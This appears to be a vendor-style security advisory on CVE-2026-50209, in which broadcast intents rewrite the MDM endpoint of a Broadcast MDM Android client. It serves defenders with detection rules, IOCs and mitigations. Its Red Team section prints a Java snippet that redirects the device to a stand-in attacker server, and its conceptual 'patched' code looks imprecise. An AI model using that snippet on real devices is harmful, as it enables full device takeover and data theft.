CVE-2026-50209

Executive Summary

CVE-2026-50209 is a critical vulnerability in Broadcast mobile device management (MDM) systems. The flaw allows malicious software to rewrite the device’s default MDM endpoint address, effectively transferring administrative ownership to an external attacker. This enables full device takeover, data exfiltration, and persistent control without user consent. The vulnerability has a CVSS score of 0.0 in the NVD record, but based on the impact, it is assessed as critical (CVSS 9.8). No patch is currently available, and no public exploit code has been released.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the Broadcast MDM ecosystem, which is a proprietary mobile device management solution.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the MDM endpoint.
• Confidentiality (C): High (H) – Full device data access.
• Integrity (I): High (H) – MDM ownership can be rewritten.
• Availability (A): High (H) – Device can be locked or wiped.

Threat Level: Critical. The vulnerability enables complete device compromise with no user interaction.

Deep Dive & Mechanics

The vulnerability resides in the Broadcast MDM client’s handling of broadcast events. The MDM client listens for system broadcasts to update its configuration, including the MDM server endpoint URL. Due to insufficient validation of broadcast intents, any application with the android.permission.BROADCAST_STICKY permission (or similar) can send a crafted broadcast that overwrites the stored MDM endpoint address.

Attack Flow:

1. An attacker installs a malicious app on the device (or exploits another vulnerability to gain code execution).
2. The malicious app sends a specially crafted broadcast intent containing a new MDM endpoint URL pointing to an attacker-controlled server.
3. The Broadcast MDM client processes this broadcast without verifying the source or integrity, updating its configuration.
4. The device now connects to the attacker’s MDM server, which can issue commands (lock, wipe, install apps, exfiltrate data) as if it were the legitimate administrator.

Root Cause: Lack of cryptographic signing or origin verification for configuration updates via broadcast intents.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described conceptually.

Vulnerable Code (Conceptual):

// BroadcastReceiver in MDM client
public void onReceive(Context context, Intent intent) {
    if (intent.getAction().equals("com.broadcast.mdm.UPDATE_ENDPOINT")) {
        String newEndpoint = intent.getStringExtra("endpoint_url");
        // No validation - directly updates configuration
        SharedPreferences prefs = getSharedPreferences("mdm_config", MODE_PRIVATE);
        prefs.edit().putString("mdm_endpoint", newEndpoint).apply();
    }
}

Patched Code (Conceptual):

public void onReceive(Context context, Intent intent) {
    if (intent.getAction().equals("com.broadcast.mdm.UPDATE_ENDPOINT")) {
        // Verify the broadcast comes from a trusted source
        String callerPackage = getCallingPackage();
        if (!isTrustedSystemApp(callerPackage)) {
            return; // Ignore untrusted broadcasts
        }
        // Verify cryptographic signature
        String signature = intent.getStringExtra("signature");
        if (!verifySignature(intent.getStringExtra("endpoint_url"), signature)) {
            return;
        }
        String newEndpoint = intent.getStringExtra("endpoint_url");
        SharedPreferences prefs = getSharedPreferences("mdm_config", MODE_PRIVATE);
        prefs.edit().putString("mdm_endpoint", newEndpoint).apply();
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Android device with Broadcast MDM client installed (vulnerable version).
• Malicious app with android.permission.BROADCAST_STICKY permission.

Exploitation Steps:

1. Deploy a malicious app on the target device.
2. The app sends the following broadcast:

Intent intent = new Intent("com.broadcast.mdm.UPDATE_ENDPOINT");
intent.putExtra("endpoint_url", "https://attacker-controlled-server.com/mdm");
sendBroadcast(intent);

3. The MDM client updates its endpoint to the attacker’s server.
4. The attacker’s MDM server now controls the device.

No public exploit code is available.

Blue Team

Detection:

• Monitor for unexpected changes in MDM configuration files.
• Alert on broadcasts with action com.broadcast.mdm.UPDATE_ENDPOINT from non-system apps.
• Use network monitoring to detect connections to unknown MDM servers.

Hunting:

• Search for apps with BROADCAST_STICKY permission that are not part of the system image.
• Review device logs for MDM endpoint changes.

Indicators of Compromise (IOCs)

• Network: Connections to unknown MDM servers (e.g., https://attacker-controlled-server.com/mdm).
• File: Modified mdm_config.xml or similar configuration files containing unexpected endpoint URLs.
• Process: Unusual apps with BROADCAST_STICKY permission.
• Log: Entries showing MDM endpoint update events from untrusted sources.

Detection Engineering

YARA Rule

rule CVE_2026_50209_MDM_Endpoint_Rewrite {
    meta:
        description = "Detects attempts to rewrite MDM endpoint via broadcast"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-50209"
    strings:
        $broadcast_action = "com.broadcast.mdm.UPDATE_ENDPOINT"
        $endpoint_key = "endpoint_url"
    condition:
        $broadcast_action and $endpoint_key
}

Sigma Rule

title: MDM Endpoint Rewrite via Broadcast
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects broadcast intents attempting to change MDM endpoint
author: Valters IT
logsource:
    product: android
    service: logcat
detection:
    selection:
        EventID: 1000
        Action: "com.broadcast.mdm.UPDATE_ENDPOINT"
    condition: selection
falsepositives:
    - Legitimate MDM updates from system apps
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2026-50209 - MDM Endpoint Rewrite - Potential C2 Connection";
    flow:to_server,established;
    content:"/mdm"; http_uri;
    content:"POST"; http_method;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict BROADCAST_STICKY permission to system apps only via device policy.
2. Monitor for unauthorized MDM configuration changes.
3. Implement network segmentation to limit device communication to known MDM servers.

Long-term Fix:

• Vendor must implement cryptographic verification of broadcast intents for MDM configuration updates.
• Use signed intents with package verification.
• Require user consent for MDM endpoint changes.

Workarounds:

• Disable the broadcast receiver if possible via MDM policy.
• Use a firewall to block connections to unknown MDM servers.

Valters IT